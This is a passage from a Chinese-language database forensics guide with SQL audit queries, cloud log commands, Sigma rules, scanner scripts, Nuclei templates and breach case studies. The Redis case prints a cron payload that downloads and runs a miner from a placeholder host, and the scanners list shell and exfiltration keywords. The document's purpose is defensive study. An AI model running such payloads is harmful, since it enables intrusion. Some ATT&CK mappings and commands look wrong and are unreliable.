FROM users ORDER BY ts_micro DESC LIMIT 100;
import struct
import sqlite3

def detect_watermark(db_path):
    conn = sqlite3.connect(db_path)
    cursor = conn.cursor()
    cursor.execute("SELECT name FROM sqlite_master WHERE type='table'")
    tables = cursor.fetchall()
    findings = []
    for table in tables:
        cursor.execute(f"PRAGMA table_info({table[0]})")
        columns = [col[1] for col in cursor.fetchall()]
        for col in columns:
            if any(w in col.lower() for w in ['watermark', 'fingerprint', 'tag', 'mark', 'track']):
                findings.append(f"SUSPICIOUS COLUMN: {table[0]}.{col}")
    conn.close()
    return findings

数据库连接审计

异常连接行为是数据泄露的关键前兆:

SELECT user, host, COUNT(*) AS conn_count FROM mysql.general_log WHERE command_type = 'Connect' GROUP BY user, host ORDER BY conn_count DESC;
SELECT client_addr, usename, backend_start, state_change, query_start, query, backend_type
FROM pg_stat_activity
WHERE backend_type = 'client backend'
ORDER BY query_start DESC;
SELECT conn, user, db, addr, idle_in, age(now(), conn) AS conn_age FROM pg_stat_activity WHERE state = 'active' AND now() - query_start > interval '5 minutes';
ss -tnp | grep -E "3306|5432|27017|6379" | awk '{print $4, $5}' | sort | uniq -c | sort -rn | head -20
netstat -tnp | grep -E "3306|5432|27017|6379" | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20

异常连接特征表:

异常特征检测指标风险等级
非工作时间连接连接时间不在 08:00-22:00🟡 高
异常来源 IP来自非 VPN/办公网段🟡 高
批量查询短时间内大量 SELECT🔴 确认恶意
长时间空闲idle > 30min 但未断开🟡 中
超权限查询普通用户执行 DDL🔴 确认恶意
异常传输大小返回数据量远超基线🔴 高

binlog/WAL 外传分析

攻击者可能通过 binlog 复制链或 PostgreSQL 逻辑复制将数据外传至攻击者控制的服务器:

mysqlbinlog -v binlog.000042 | grep -iE "CHANGE MASTER|REPLICA OF|CHANGE REPLICATION"
cat /var/lib/mysql/auto.cnf
mysql -e "SHOW SLAVE HOSTS\G"
mysql -e "SHOW BINARY LOGS\G"
SHOW MASTER STATUS;
SHOW SLAVE STATUS\G
cat /var/lib/postgresql/14/main/pg_wal/archive_status/ | ls -la
psql -c "SELECT * FROM pg_stat_replication;"
psql -c "SELECT slot_name, plugin, slot_type, database, active, restart_lsn, confirmed_flush_lsn FROM pg_replication_slots;"

0x07 云数据库与 RDS 取证

AWS RDS 审计日志分析

AWS RDS 提供了多层次的日志体系用于安全审计和取证分析:

日志类型存储位置保留策略取证用途
rds_audit.logCloudWatch Logs自定义(0-732天)SQL 审计
error/mysql-error.logCloudWatch Logs自定义异常事件
slowquery/mysql-slow.logCloudWatch Logs自定义慢查询分析
general/mysql-general.logCloudWatch Logs自定义全量 SQL
CloudTrailS3永久API 操作审计
aws logs filter-log-events --log-group-name /aws/rds/instance/mydb/audit --filter-pattern "ERROR OR WARNING" --start-time 1688534400000
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateDBInstance --start-time 2026-06-01T00:00:00Z
aws rds describe-db-instances --db-instance-identifier mydb --query 'DBInstances[0].{Status:DBInstanceStatus,Engine:Engine,MasterUsername:MasterUsername,Endpoint:Endpoint.Address}'

RDS 审计日志分析脚本:

import boto3
import json
from datetime import datetime, timedelta

def analyze_rds_audit(log_group, hours=24):
    client = boto3.client('logs')
    end_time = int(datetime.now().timestamp() * 1000)
    start_time = int((datetime.now() - timedelta(hours=hours)).timestamp() * 1000)
    events = []
    next_token = None
    while True:
        kwargs = {
            'logGroupName': log_group,
            'startTime': start_time,
            'endTime': end_time,
            'filterPattern': 'INSERT OR DELETE OR GRANT OR DROP OR ALTER',
            'limit': 10000
        }
        if next_token:
            kwargs['nextToken'] = next_token
        response = client.filter_log_events(**kwargs)
        events.extend(response['events'])
        next_token = response.get('nextToken')
        if not next_token:
            break
    suspicious = []
    for event in events:
        msg = event['message']
        if any(kw in msg.upper() for kw in ['GRANT ALL', 'DROP USER', 'INTO OUTFILE', 'LOAD_FILE', 'CREATE USER']):
            suspicious.append({
                'timestamp': event['timestamp'],
                'message': msg[:500]
            })
    return suspicious

Azure SQL 审计日志

az sql server audit-policy show --server-name myserver --resource-group myrg
az monitor diagnostic-settings list --resource /subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Sql/servers/{server}
az monitor logs query --workspace "{workspace_id}" --query "AzureDiagnostics | where Category == 'SQLSecurityAuditEvents' | where action_name_s in ('INSERT','DELETE','UPDATE','DROP DATABASE','CREATE USER') | order by event_time_t desc | take 100"

Azure SQL 威胁检测日志查询:

az monitor logs query --workspace "{workspace_id}" --query "AzureSecurityInsights | where EventType == 'SqlInjectionExploit' or EventType == 'AccessFromAbnormalIP' | order by EventTime desc | take 50"

Google Cloud SQL 审计日志

gcloud logging read "resource.type=cloudsql_database AND protoPayload.methodName=INSERT OR DELETE OR UPDATE OR GRANT OR DROP" --format=json --limit=100
gcloud logging read "resource.type=cloudsql_database AND severity>=WARNING" --format=json --limit=50
gcloud logging read "protoPayload.serviceName=cloudsql.googleapis.com AND protoPayload.methodName!=Query" --format=json --limit=100

阿里云 RDS 审计日志

aliyun rds DescribeDBInstanceAuditPolicy --DBInstanceId rm-xxx
aliyun rds DownloadLogList --DBInstanceId rm-xxx --StartTime=2026-06-01T00:00Z --EndTime=2026-06-02T00:00Z --LogType=SlowQuery
aliyun rds DescribeDBInstanceAttribute --DBInstanceId rm-xxx --query 'Items[0].{Engine:Engine,SecurityIPList:SecurityIPList,Account:AccountName}'

阿里云 RDS 审计日志字段说明:

字段名含义取证用途
client_ip客户端 IP来源追踪
user数据库用户身份确认
sql_textSQL 语句文本载荷分析
exec_time执行时间(μs)盲注检测
rows_affected影响行数数据泄露估算
thread_id线程 ID会话关联
error_code错误码异常识别

云数据库特有攻击面

攻击面攻击方式取证方法
IAM 角色滥用利用 EC2 实例角色获取 RDS 凭据CloudTrail 审计
VPC 配置错误安全组放行 0.0.0.0/0VPC Flow Logs
快照泄露公开共享数据库快照EC2 Snapshot 权限
Parameter Group 篡改修改数据库参数(关闭审计)Config 变更历史
代理凭据泄露RDS Proxy 中的连接池凭据Secrets Manager 日志
aws ec2 describe-security-groups --filters "Name=ip-permission.cidr,Values=0.0.0.0/0" --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`)]]'
aws ec2 describe-snapshots --owner-ids self --query 'Snapshots[?Encrypted==`false`]'
aws rds describe-db-snapshot-attributes --db-snapshot-identifier my-snapshot --query 'DBSnapshotAttributes[?AttributeName==`restore`]'

0x08 证据强度分层与案例关联

🔴 确认恶意

以下证据具有明确恶意意图和行为,可直接作为攻击确认的依据:

序号证据描述检测方法ATT&CK 映射证据等级
1binlog 中的 SQL 注入 payload(UNION SELECT + SLEEP)mysqlbinlog 分析T1190 Exploit Public-Facing Application🔴 确认恶意
2mysql.func 表中注册的 UDF 函数(.so 落地)mysql.func 表查询 + 文件系统检查T1505.003 Web Shell🔴 确认恶意
3INTO OUTFILE 导出敏感数据至 Web 目录binlog + 文件系统关联T1005 Data from Local System🔴 确认恶意
4后门存储过程(含 EXECUTE IMMEDIATE 或 os_command)information_schema.routines 审计T1505 Server Software Component🔴 确认恶意
5Redis 中写入 crontab 反弹 ShellAOF/RDB 键值扫描T1059 Command and Scripting Interpreter🔴 确认恶意

🟡 高度可疑

以下证据强烈暗示恶意活动,需要结合上下文进一步验证:

序号证据描述检测方法ATT&CK 映射证据等级
1短时间内高频异常查询(>10,000 次/分钟)pg_stat_statements / 慢查询日志T1005 Data from Local System🟡 高度可疑
2非工作时间(02:00-06:00)批量数据库访问连接日志时间分析T1078 Valid Accounts🟡 高度可疑
3普通用户执行 GRANT ALL 或 CREATE USERDCL 审计日志T1078.004 Cloud Accounts🟡 高度可疑
4数据库连接来源为 VPN/Tor/海外 IP连接审计 + GeoIPT1078 Valid Accounts🟡 高度可疑
5MongoDB 中大量 $where 查询profiling 日志T1059 Command and Scripting Interpreter🟡 高度可疑

🟢 需要关注

以下证据可能为正常行为,但需要结合上下文评估风险:

序号证据描述检测方法ATT&CK 映射证据等级
1慢查询数量突增(相比基线增长 300%)慢查询日志趋势T1499 Endpoint Denial of Service🟢 需要关注
2数据库连接数接近 max_connectionsSHOW STATUST1499 Endpoint Denial of Service🟢 需要关注
3数据库版本信息在错误消息中泄露错误日志T1592 Gather Victim Host Information🟢 需要关注
4General Log 记录内容被禁用或轮转配置审计T1562.002 Disable Windows Event Logging🟢 需要关注
5数据库配置弱化(空密码、trust 认证)配置审计T1552 Unsecured Credentials🟢 需要关注

0x09 自动化检测与狩猎

Sigma 规则

以下 Sigma 规则用于检测数据库环境中的典型攻击行为:

title: MySQL SQL Injection UNION SELECT Detection
id: 5a1b2c3d-4e5f-6789-abcd-ef0123456789
status: experimental
description: Detects UNION SELECT patterns in MySQL general log indicating SQL injection attempts
references:
  - https://owasp.org/www-community/attacks/SQL_Injection
author: x7peeps
date: 2026/07/05
tags:
  - attack.initial_access
  - attack.t1190
logsource:
  product: mysql
  service: general_log
detection:
  selection_uni:
    argument|contains:
      - 'UNION SELECT'
      - 'UNION ALL SELECT'
      - 'union select'
      - 'union all select'
  selection_payload:
    argument|contains:
      - 'information_schema'
      - 'mysql.user'
      - 'pg_catalog'
      - 'sysadmin'
  condition: selection_uni and selection_payload
  timeframe: 5m
  count(argument) > 5
level: high
falsepositives:
  - Legitimate reporting queries
title: MySQL UDF Privilege Escalation
id: 6b2c3d4e-5f6a-7890-bcde-f01234567890
status: experimental
description: Detects creation of MySQL User Defined Functions which may indicate privilege escalation
author: x7peeps
date: 2026/07/05
tags:
  - attack.privilege_escalation
  - attack.t1078
logsource:
  product: mysql
  service: general_log
detection:
  selection:
    argument|contains:
      - 'CREATE FUNCTION'
      - 'CREATE AGGREGATE FUNCTION'
  filter_legit:
    argument|contains:
      - 'CONCAT'
      - 'IFNULL'
      - 'UUID'
  condition: selection and not filter_legit
level: critical
falsepositives:
  - Application UDF installation (rare)
title: Redis Suspicious CONFIG SET Command
id: 7c3d4e5f-6a7b-8901-cdef-012345678901
status: experimental
description: Detects Redis CONFIG SET commands that may indicate unauthorized access or exploitation
author: x7peeps
date: 2026/07/05
tags:
  - attack.command_and_control
  - attack.t1105
logsource:
  product: redis
  service: logfile
detection:
  selection_dir:
    command|contains:
      - 'CONFIG SET dir'
      - 'CONFIG SET dbfilename'
      - 'CONFIG SET requirepass'
      - 'CONFIG SET bind'
      - 'CONFIG SET protected-mode no'
  selection_module:
    command|contains:
      - 'MODULE LOAD'
      - 'SLAVEOF'
      - 'REPLICAOF'
  condition: selection_dir or selection_module
level: critical
falsepositives:
  - Legitimate Redis administration

Bash 脚本

以下脚本用于自动化 MySQL binlog 分析:

#!/bin/bash
BINLOG_DIR="/var/lib/mysql"
BINLOG_PREFIX="binlog.000"
SUSPICIOUS_PATTERNS="UNION|SLEEP|BENCHMARK|LOAD_FILE|INTO\s+(OUT|DUMP)FILE|GRANT\s+ALL|CREATE\s+(USER|FUNCTION|TRIGGER|EVENT)|DROP\s+(USER|DATABASE)|information_schema|mysql\.user"
OUTPUT_DIR="/tmp/mysql_forensics_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"

echo "[*] MySQL Binlog Forensic Analysis"
echo "[*] Output directory: $OUTPUT_DIR"

for binlog in "$BINLOG_DIR"/$BINLOG_PREFIX*; do
    echo "[+] Processing: $binlog"
    mysqlbinlog -v "$binlog" 2>/dev/null | grep -iE "$SUSPICIOUS_PATTERNS" >> "$OUTPUT_DIR/suspicious_queries.txt"
    mysqlbinlog --base64-output=decode-rows -v "$binlog" 2>/dev/null | grep -iE "INTO\s+(OUT|DUMP)FILE|LOAD_FILE" >> "$OUTPUT_DIR/data_exfil.txt"
done

echo "[*] Suspicious queries found:"
wc -l "$OUTPUT_DIR/suspicious_queries.txt"

echo "[*] Data exfiltration attempts:"
wc -l "$OUTPUT_DIR/data_exfil.txt"

echo "[*] Timeline of suspicious events:"
grep -hE "^[0-9]{6}" "$OUTPUT_DIR/suspicious_queries.txt" | awk '{print $1, $2, $0}' | sort > "$OUTPUT_DIR/timeline.txt"
head -30 "$OUTPUT_DIR/timeline.txt"

echo "[+] Analysis complete. Results in: $OUTPUT_DIR"

以下脚本用于 PostgreSQL WAL 日志扫描:

#!/bin/bash
PG_WAL_DIR="/var/lib/postgresql/14/main/pg_wal"
OUTPUT_DIR="/tmp/pg_wal_forensics_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"

echo "[*] PostgreSQL WAL Forensic Analysis"

for wal_file in "$PG_WAL_DIR"/00000001*; do
    echo "[+] Processing: $wal_file"
    pg_waldump "$wal_file" 2>/dev/null | grep -iE "CREATE|DROP|TRUNCATE|GRANT|REVOKE|ALTER" >> "$OUTPUT_DIR/suspicious_ddl.txt"
    pg_waldump "$wal_file" 2>/dev/null | grep -iE "heap_insert|heap_delete|heap_update" | wc -l >> "$OUTPUT_DIR/write_counts.txt"
done

echo "[*] Suspicious DDL operations:"
cat "$OUTPUT_DIR/suspicious_ddl.txt" | head -50

echo "[+] Analysis complete. Results in: $OUTPUT_DIR"

以下脚本用于 Redis 异常键值检测:

#!/bin/bash
REDIS_HOST="127.0.0.1"
REDIS_PORT="6379"
REDIS_PASS=""
OUTPUT_DIR="/tmp/redis_forensics_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"

echo "[*] Redis Security Forensic Analysis"

redis-cli -h "$REDIS_HOST" -p "$REDIS_PORT" -a "$REDIS_PASS" --no-auth-warning CONFIG GET requirepass > "$OUTPUT_DIR/config.txt" 2>/dev/null
redis-cli -h "$REDIS_HOST" -p "$REDIS_PORT" -a "$REDIS_PASS" --no-auth-warning CONFIG GET protected-mode >> "$OUTPUT_DIR/config.txt" 2>/dev/null

echo "[+] Configuration audit:"
cat "$OUTPUT_DIR/config.txt"

echo "[+] Scanning for suspicious keys..."
redis-cli -h "$REDIS_HOST" -p "$REDIS_PORT" -a "$REDIS_PASS" --no-auth-warning KEYS '*' 2>/dev/null | grep -iE "ssh|cron|shell|webshell|authorized|config|auth" > "$OUTPUT_DIR/suspicious_keys.txt"
cat "$OUTPUT_DIR/suspicious_keys.txt"

echo "[+] Checking for dangerous commands in AOF..."
if [ -f /var/lib/redis/appendonly.aof ]; then
    grep -iE "CONFIG SET|MODULE LOAD|SLAVEOF|REPLICAOF|FLUSHALL|FLUSHDB" /var/lib/redis/appendonly.aof > "$OUTPUT_DIR/dangerous_commands.txt" 2>/dev/null
    cat "$OUTPUT_DIR/dangerous_commands.txt"
fi

echo "[+] Checking RDB for suspicious content..."
if [ -f /var/lib/redis/dump.rdb ]; then
    strings /var/lib/redis/dump.rdb | grep -iE "ssh-rsa|authorized_keys|/bin/sh|/bin/bash|curl|wget|nc -|ncat|python -c|perl -e" > "$OUTPUT_DIR/rdb_suspicious.txt" 2>/dev/null
    cat "$OUTPUT_DIR/rdb_suspicious.txt"
fi

echo "[+] Redis analysis complete. Results in: $OUTPUT_DIR"

Python 脚本

以下 Python 脚本用于 MySQL 慢查询日志解析和注入检测:

import re
import sys
from datetime import datetime
from collections import defaultdict, Counter

SLOW_QUERY_PATTERN = re.compile(r'#\s+Query_time:\s+([\d.]+)\s+Lock_time:\s+([\d.]+)\s+Rows_sent:\s+(\d+)\s+Rows_examined:\s+(\d+)')
TIMESTAMP_PATTERN = re.compile(r'^(\d{6}\s+\d{2}:\d{2}:\d{2})\s+(\d+)')
INJECTION_PATTERNS = [
    (r'UNION\s+(ALL\s+)?SELECT', 'UNION SELECT'),
    (r'SLEEP\s*\(\s*\d+\s*\)', 'SLEEP injection'),
    (r'BENCHMARK\s*\(\s*\d+', 'BENCHMARK injection'),
    (r'LOAD_FILE\s*\(', 'LOAD_FILE'),
    (r'INTO\s+(OUT|DUMP)FILE', 'OUTFILE data exfil'),
    (r'information_schema', 'Schema enumeration'),
    (r'mysql\.(user|db|func)', 'MySQL internal table access'),
    (r'pg_shadow', 'PostgreSQL password hash access'),
    (r'benchmark\s*\(\s*10000', 'Heavy benchmark'),
    (r'IF\s*\(.*SLEEP', 'Conditional time injection'),
]

def parse_slow_log(filepath):
    findings = []
    current_entry = {}
    with open(filepath, 'r', errors='ignore') as f:
        for line in f:
            line = line.strip()
            ts_match = TIMESTAMP_PATTERN.match(line)
            if ts_match:
                current_entry['timestamp'] = ts_match.group(1)
                current_entry['user_host'] = line.split('\t')[-1] if '\t' in line else ''
            q_match = SLOW_QUERY_PATTERN.match(line)
            if q_match:
                current_entry['query_time'] = float(q_match.group(1))
                current_entry['rows_sent'] = int(q_match.group(3))
                current_entry['rows_examined'] = int(q_match.group(4))
            if line.startswith('SET timestamp='):
                current_entry['set_timestamp'] = line
            if line and not line.startswith('#') and not line.startswith('use ') and not line.startswith('SET'):
                current_entry['query'] = line
                for pattern, name in INJECTION_PATTERNS:
                    if re.search(pattern, line, re.IGNORECASE):
                        current_entry['injection_type'] = name
                        findings.append(current_entry.copy())
                        break
                current_entry = {}
    return findings

def analyze_findings(findings):
    print(f"[*] Total suspicious queries found: {len(findings)}")
    type_counts = Counter(f['injection_type'] for f in findings)
    print("\n[*] Injection type distribution:")
    for itype, count in type_counts.most_common():
        print(f"    {itype}: {count}")
    print("\n[*] Top 10 longest queries (potential blind injection):")
    sorted_by_time = sorted(findings, key=lambda x: x.get('query_time', 0), reverse=True)[:10]
    for f in sorted_by_time:
        print(f"    [{f.get('timestamp', 'unknown')}] {f.get('query_time', 0):.2f}s - {f.get('injection_type', 'N/A')}: {f.get('query', '')[:120]}")
    print("\n[*] High volume data extraction (rows_examined > 10000):")
    for f in findings:
        if f.get('rows_examined', 0) > 10000:
            print(f"    [{f.get('timestamp', 'unknown')}] examined={f.get('rows_examined', 0)} sent={f.get('rows_sent', 0)}: {f.get('query', '')[:120]}")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <slow_query_log>")
        sys.exit(1)
    results = parse_slow_log(sys.argv[1])
    analyze_findings(results)

以下 Python 脚本用于数据库变更时间线生成:

import re
import sys
import subprocess
from datetime import datetime

def parse_mysql_binlog(binlog_file):
    events = []
    try:
        result = subprocess.run(
            ['mysqlbinlog', '-v', binlog_file],
            capture_output=True, text=True, errors='ignore'
        )
        current_ts = None
        for line in result.stdout.split('\n'):
            ts_match = re.match(r'^(\d{6})\s+(\d{2}:\d{2}:\d{2})', line)
            if ts_match:
                current_ts = f"20{ts_match.group(1)[:2]}-{ts_match.group(1)[2:4]}-{ts_match.group(1)[4:6]} {ts_match.group(2)}"
            keywords = ['CREATE', 'ALTER', 'DROP', 'GRANT', 'REVOKE', 'INSERT', 'UPDATE', 'DELETE', 'TRUNCATE']
            if any(kw in line.upper() for kw in keywords) and current_ts:
                events.append({
                    'timestamp': current_ts,
                    'source': 'binlog',
                    'event': line.strip()[:200],
                    'severity': 'HIGH' if any(k in line.upper() for k in ['GRANT', 'CREATE USER', 'TRUNCATE', 'DROP']) else 'MEDIUM'
                })
    except FileNotFoundError:
        print("[!] mysqlbinlog not found")
    return events

def parse_pg_waldump(wal_dir):
    events = []
    try:
        import glob
        wal_files = glob.glob(f"{wal_dir}/00000001*")
        for wf in wal_files:
            result = subprocess.run(
                ['pg_waldump', wf],
                capture_output=True, text=True, errors='ignore'
            )
            for line in result.stdout.split('\n'):
                keywords = ['CREATE', 'DROP', 'TRUNCATE', 'GRANT', 'REVOKE']
                if any(kw in line.upper() for kw in keywords):
                    events.append({
                        'timestamp': 'WAL',
                        'source': 'wal',
                        'event': line.strip()[:200],
                        'severity': 'HIGH'
                    })
    except FileNotFoundError:
        print("[!] pg_waldump not found")
    return events

def generate_timeline(events):
    events.sort(key=lambda x: x.get('timestamp', ''))
    print("=" * 100)
    print(f"{'TIMESTAMP':<25} {'SOURCE':<10} {'SEVERITY':<10} {'EVENT'}")
    print("=" * 100)
    for e in events:
        sev_marker = "🔴" if e['severity'] == 'HIGH' else "🟡"
        print(f"{e.get('timestamp', 'N/A'):<25} {e['source']:<10} {sev_marker} {e['event']}")
    print("=" * 100)
    print(f"[*] Total events: {len(events)}")
    high_events = [e for e in events if e['severity'] == 'HIGH']
    print(f"[*] HIGH severity events: {len(high_events)}")

if __name__ == '__main__':
    all_events = []
    if len(sys.argv) > 1:
        for arg in sys.argv[1:]:
            if 'binlog' in arg:
                all_events.extend(parse_mysql_binlog(arg))
            elif 'wal' in arg.lower() or 'pg_wal' in arg:
                all_events.extend(parse_pg_waldump(arg))
    else:
        print(f"Usage: {sys.argv[0]} <binlog_file|wal_dir> [...]")
        sys.exit(1)
    generate_timeline(all_events)

Nuclei 模板

以下 Nuclei 模板用于检测数据库暴露:

id: mysql-unauthorized-access
info:
  name: MySQL Unauthorized Access Detection
  author: x7peeps
  severity: critical
  description: Detects MySQL instances accessible without authentication
  tags: mysql,database,unauth
  classification:
    cwe-id: CWE-306
    mitre-attack: T1190

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "Access denied for user"
          - "mysql_native_password"
          - "caching_sha2_password"
        condition: or

    extractors:
      - type: regex
        group: 1
        regex:
          - "MySQL ([\\d.]+)"
id: redis-unauthorized-access
info:
  name: Redis Unauthorized Access Detection
  author: x7peeps
  severity: critical
  description: Detects Redis instances accessible without authentication
  tags: redis,database,unauth
  classification:
    cwe-id: CWE-306
    mitre-attack: T1190

network:
  - inputs:
      - data: "INFO server\r\n"
        host: "{{Hostname}}"
        port: 6379

    matchers:
      - type: word
        words:
          - "redis_version"
          - "redis_mode"
        condition: or

    extractors:
      - type: regex
        regex:
          - "redis_version:([\\d.]+)"
id: mongodb-unauthorized-access
info:
  name: MongoDB Unauthorized Access Detection
  author: x7peeps
  severity: critical
  description: Detects MongoDB instances accessible without authentication
  tags: mongodb,database,unauth
  classification:
    cwe-id: CWE-306
    mitre-attack: T1190

http:
  - raw:
      - |
        GET /serverStatus HTTP/1.1
        Host: {{Hostname}}:27017

    matchers:
      - type: word
        part: body
        words:
          - "dbHost"
          - "ok"
          - "version"
        condition: and

    extractors:
      - type: regex
        regex:
          - "\"version\"\\s*:\\s*\"([\\d.]+)\""

0x0A 公开案例分析

案例一:MongoDB 数据泄露事件(2017 至今)

事件概述

2017 年 12 月底至 2018 年初,大量 MongoDB 实例因默认配置(无认证、绑定 0.0.0.0)暴露在公网,遭受大规模数据删除和勒索攻击。受影响的组织包括美国多家医疗机构、科技公司和政府机构。攻击者入侵后删除数据库内容并留下勒索信息,要求支付比特币赎金。截至 2018 年 1 月,超过 33,000 个 MongoDB 实例被暴露在互联网上,其中约 28,000 个未设置任何认证。

攻击链还原

graph TD
    A[互联网扫描 - Shodan/Censys] --> B[发现 MongoDB 27017 端口]
    B --> C{是否需要认证?}
    C -->|无认证| D[直接连接数据库]
    C -->|有认证| E[跳过]
    D --> F[SHOW DBS 枚举数据库]
    F --> G{数据价值评估}
    G -->|高价值| H[数据备份/导出]
    G -->|低价值| I[直接删除]
    H --> J[mongodump 全量备份]
    J --> K[删除原数据]
    I --> L[创建勒索留言]
    K --> L
    L --> M[留下比特币支付地址]

MITRE ATT&CK 映射

ATT&CK 技术技术编号攻击阶段本案例对应
Active Scanning: Scan DatabasesT1592.002侦察使用 Shodan 扫描 MongoDB 端口
Exploit Public-Facing ApplicationT1190利用利用未授权访问直接连接
Data from Information RepositoriesT1005收集导出数据库内容
Data DestructionT1485影响删除数据库内容
Account Access RemovalT1531影响未修改但删除了数据
Stored Data ManipulationT1565.001影响修改数据库中的勒索信息

取证发现

# 典型的 MongoDB 未授权访问检测
$ mongosh --host 192.168.1.100 --port 27017
> show dbs
admin    0.000GB
config   0.000GB
local    0.000GB
users_db 2.300GB    ← 可见的业务数据库

# 检查是否被篡改
> db.system.js.find()
{ "_id" : "note", "value" : "SEND 0.2 BTC TO 1A2B3C..." }  ← 勒索留言

IOC 列表

IOC 类型说明
勒索钱包地址13E1GF6PmEZ5h2tUdWt2xWUwS2RcFhR8aBitcoin 勒索地址
C2 指标185.x.x.x/24已知攻击者 IP 段
文件哈希无(原生工具利用)攻击者使用原生 mongodump
端口27017/TCPMongoDB 默认端口

经验教训

  1. 默认配置即漏洞:MongoDB 3.6 之前的默认配置不启用认证且绑定所有网络接口。在部署数据库时必须启用认证(--auth)并限制绑定 IP。
  2. 网络隔离是关键:数据库实例不应直接暴露在公网,应通过 VPC、安全组、防火墙等手段实现网络隔离。
  3. 备份策略:定期备份数据库并验证备份可用性,确保在数据被删除或加密后能快速恢复。
  4. 监控告警:部署数据库访问审计和异常行为检测,在第一时间发现未授权访问。

案例二:Redis 未授权访问与加密货币挖矿

事件概述

2018 年至 2020 年期间,全球大量暴露在公网的 Redis 实例被攻击者利用。攻击者利用 Redis 的未授权访问漏洞,通过写入 crontab 实现远程代码执行(MITRE ATT&CK: T1053.003 Cron),部署加密货币挖矿程序。部分攻击还涉及 SSH 公钥注入和 WebShell 植入。2020 年安全研究人员发现一个名为"TeamTNT"的组织专门针对暴露的 Redis 和 Docker API 实例进行加密货币挖矿攻击。

攻击链还原

graph TD
    A[互联网扫描] --> B[Redis 6379 端口暴露]
    B --> C[未授权访问检测]
    C --> D[INFO replication 检查]
    D --> E{目标判断}
    E -->|Linux 服务器| F1[写入 SSH 公钥]
    E -->|有 Web 目录| F2[写入 WebShell]
    E -->|Crontab 可写| F3[写入定时任务]
    F1 --> G[SSH 登录]
    F2 --> H[通过 Web 访问]
    F3 --> I[执行反弹 Shell]
    G --> J[下载挖矿程序]
    H --> J
    I --> J
    J --> K[配置挖矿池]
    K --> L[持久化 - 多种方式]

MITRE ATT&CK 映射

ATT&CK 技术技术编号攻击阶段本案例对应
Active ScanningT1595侦察扫描 Redis 端口
Exploit Public-Facing ApplicationT1190利用Redis 未授权访问
Server Software Component: SSH Authorized KeysT1505.004持久化写入 authorized_keys
Scheduled Task/Job: CronT1053.003持久化写入 crontab
Command and Scripting Interpreter: Unix ShellT1059.004执行反弹 Shell
Ingress Tool TransferT1105C2wget/curl 下载挖矿工具
Resource Hijacking: Cryptocurrency MiningT1496影响加密货币挖矿

取证发现

# 检查 Redis 配置
$ redis-cli -h 192.168.1.100
> CONFIG GET requirepass
1) "requirepass"
2) ""                    ← 空密码

> CONFIG GET dir
1) "dir"
2) "/var/spool/cron"     ← 可写 crontab 目录

> KEYS *
 1) "crontab"
 2) "x"
 3) "backup"
 4) "sshkey"
 5) "debug"

# 检查 crontab 键值
> GET crontab
"\n\n* * * * * curl -o /tmp/miner http://185.x.x.x/miner && chmod +x /tmp/miner && /tmp/miner\n\n"

# 检查 SSH 公钥
> GET sshkey
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...attacker_key..."

IOC 列表

IOC 类型说明
挖矿矿池pool.minexmr.com:443Monero 挖矿池
挖矿钱包48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRgGhK8D8E6DQ4wQf4wB3Z5Q7Monero 钱包地址
下载 URLhxxp://185.x.x.x/miner挖矿程序下载地址
攻击者 IP185.x.x.x, 103.x.x.xC2 服务器
文件路径/tmp/miner, /tmp/.system挖矿程序落地路径
挖矿进程名kworkerds, dbused伪装成系统进程
Cron 特征curl -o /tmp/下载执行模式

经验教训

  1. Redis 安全基线:始终设置 requirepass,将 bind 配置为内网 IP,启用 protected-mode,禁用危险命令(rename-command FLUSHALL "")。
  2. 文件系统权限:Redis 数据目录不应有 crontab 写入权限,建议禁用 CONFIG SET 命令或通过 ACL 限制。
  3. 出站流量监控:对服务器的出站连接进行白名单控制,及时发现连接至未知矿池的行为。
  4. 容器化部署:将 Redis 部署在容器中并设置只读文件系统,限制对宿主机 crontab 和 SSH 目录的写入。

案例三(可选):British Airways Magecart 攻击中的数据库取证

事件概述

2018 年 9 月,British Airways 遭受 Magecart 攻击,攻击者通过供应链攻击方式在 British Airways 官网的 JavaScript 中注入了恶意脚本。该脚本窃取了约 380,000 笔信用卡交易信息。攻击者利用第三方 JavaScript 库的漏洞注入 skimmer 代码,窃取的数据通过 HTTP POST 请求外传至攻击者控制的服务器。

攻击链中的数据库取证要点

攻击者注入的 skimmer 代码在客户端收集信用卡信息后,通过 HTTP POST 将数据发送至 https://secure-data-processing.com/ba/。在数据库取证层面,需要关注的是:

  1. Web 应用日志分析:检测异常的 HTTP POST 请求模式,识别数据外传的目标 URL。
  2. CDN/WAF 日志:检查 JavaScript 文件的修改记录,定位供应链攻击的时间窗口。
  3. 数据库中的交易数据:比对被泄露的交易记录与数据库中的原始记录,确定泄露的数据范围和时间。
取证数据源分析重点ATT&CK 映射
Web 服务器访问日志POST 到外部 URL 的请求T1041 Exfiltration Over C2 Channel
JavaScript 文件完整性脚本文件的 MD5/SHA256 变化T1195 Supply Chain Compromise
交易数据库被泄露的交易记录时间范围T1005 Data from Local System
CDN 日志资源文件缓存和修改记录T1584.004 Server

IOC 列表

IOC 类型说明
恶意域名secure-data-processing.com数据外传服务器
恶意 URLhxxps://secure-data-processing.com/ba/数据接收端点
JavaScript 文件main.js(被篡改)注入 skimmer 的入口
数据格式creditCardNumber, expiry, cvv窃取的字段

经验教训

  1. 第三方 JavaScript 管理:对所有第三方 JavaScript 资源实施 Subresource Integrity (SRI) 校验。
  2. CSP 策略:部署 Content-Security-Policy 限制 JavaScript 可以发送数据的目标域。
  3. 实时监控:监控客户端 JavaScript 文件的完整性变化,及时发现篡改行为。

0x0B 参考资料

序号标题链接
1MySQL 8.0 Reference Manual - Binary Loghttps://dev.mysql.com/doc/refman/8.0/en/binary-log.html
2PostgreSQL 16 Documentation - WAL Write-Ahead Loghttps://www.postgresql.org/docs/14/wal.html
